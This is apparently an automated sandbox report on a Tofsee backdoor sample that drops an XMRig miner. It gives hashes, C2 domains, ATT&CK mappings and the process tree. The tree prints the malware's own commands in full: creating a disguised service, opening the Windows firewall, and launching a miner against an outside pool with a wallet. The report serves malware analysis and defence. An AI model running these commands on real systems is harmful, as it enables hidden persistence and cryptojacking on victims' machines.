Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    06-02-2023 21:29

General

  • Target

    file.exe

  • Size

    299KB

  • MD5

    8715223621d5976639b97a5ddc2e5709

  • SHA1

    ae98afdb97ae8ebb0fd47f899c94c6401a7f3a0d

  • SHA256

    d34c1b52c165505b7cd0130deead88ef3493c1dd118689d9300b6f8d3e496ee9

  • SHA512

    22e11a71707019233d98bb4c518decccf117059339c139ad7820aff31cbb690958ff434d53f9555e43b5714cdc1150ce01a92785df382cb9a307e7b82e7269f9

  • SSDEEP

    6144:C0UmLTex+0dLoQ7ioyeUB1XOuQj9i7xah:CzmvI+0dL1a/Oljw7x

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1236
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oidomgtj\
      2⤵
        PID:2028
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wpmuleyv.exe" C:\Windows\SysWOW64\oidomgtj\
        2⤵
          PID:1108
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oidomgtj binPath= "C:\Windows\SysWOW64\oidomgtj\wpmuleyv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oidomgtj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:552
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oidomgtj
          2⤵
          • Launches sc.exe
          PID:876
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1304
      • C:\Windows\SysWOW64\oidomgtj\wpmuleyv.exe
        C:\Windows\SysWOW64\oidomgtj\wpmuleyv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1572
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:940

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\wpmuleyv.exe
        Filesize

        11.3MB

        MD5

        d4a1017af9da3360ceea563ec3a2d550

        SHA1

        86d0106f180245bf3a50fa7915d18c094eb1bbb4

        SHA256

        bfb2f09189f24a73b9099a5b2ec82345583b529d247b1f5736971cfc8fce629c

        SHA512

        842807ba068e29c64edf2d1acec1d08e1b317845ac0c50d290d3bb28bc49f6c64192e2b517ab2cf610e4c36d82b778756b78418f08dbdb96c0826758055cd3a8

      • C:\Windows\SysWOW64\oidomgtj\wpmuleyv.exe
        Filesize

        11.3MB

        MD5

        d4a1017af9da3360ceea563ec3a2d550

        SHA1

        86d0106f180245bf3a50fa7915d18c094eb1bbb4

        SHA256

        bfb2f09189f24a73b9099a5b2ec82345583b529d247b1f5736971cfc8fce629c

        SHA512

        842807ba068e29c64edf2d1acec1d08e1b317845ac0c50d290d3bb28bc49f6c64192e2b517ab2cf610e4c36d82b778756b78418f08dbdb96c0826758055cd3a8

      • memory/552-62-0x0000000000000000-mapping.dmp
      • memory/652-61-0x0000000000000000-mapping.dmp
      • memory/876-63-0x0000000000000000-mapping.dmp
      • memory/940-106-0x000000000015259C-mapping.dmp
      • memory/940-99-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/940-101-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/1108-59-0x0000000000000000-mapping.dmp
      • memory/1236-55-0x00000000002EC000-0x0000000000301000-memory.dmp
        Filesize

        84KB

      • memory/1236-56-0x00000000001C0000-0x00000000001D3000-memory.dmp
        Filesize

        76KB

      • memory/1236-57-0x0000000000400000-0x00000000004C8000-memory.dmp
        Filesize

        800KB

      • memory/1236-66-0x00000000002EC000-0x0000000000301000-memory.dmp
        Filesize

        84KB

      • memory/1236-67-0x0000000000400000-0x00000000004C8000-memory.dmp
        Filesize

        800KB

      • memory/1236-54-0x0000000076391000-0x0000000076393000-memory.dmp
        Filesize

        8KB

      • memory/1304-65-0x0000000000000000-mapping.dmp
      • memory/1572-72-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1572-89-0x00000000001E0000-0x00000000001E5000-memory.dmp
        Filesize

        20KB

      • memory/1572-70-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1572-79-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1572-80-0x00000000018F0000-0x0000000001AFF000-memory.dmp
        Filesize

        2.1MB

      • memory/1572-83-0x0000000000150000-0x0000000000156000-memory.dmp
        Filesize

        24KB

      • memory/1572-86-0x0000000000160000-0x0000000000170000-memory.dmp
        Filesize

        64KB

      • memory/1572-73-0x00000000000C9A6B-mapping.dmp
      • memory/1572-92-0x0000000005A10000-0x0000000005E1B000-memory.dmp
        Filesize

        4.0MB

      • memory/1572-95-0x00000000001F0000-0x00000000001F7000-memory.dmp
        Filesize

        28KB

      • memory/1572-98-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/2000-74-0x00000000006BC000-0x00000000006D1000-memory.dmp
        Filesize

        84KB

      • memory/2000-76-0x0000000000400000-0x00000000004C8000-memory.dmp
        Filesize

        800KB

      • memory/2028-58-0x0000000000000000-mapping.dmp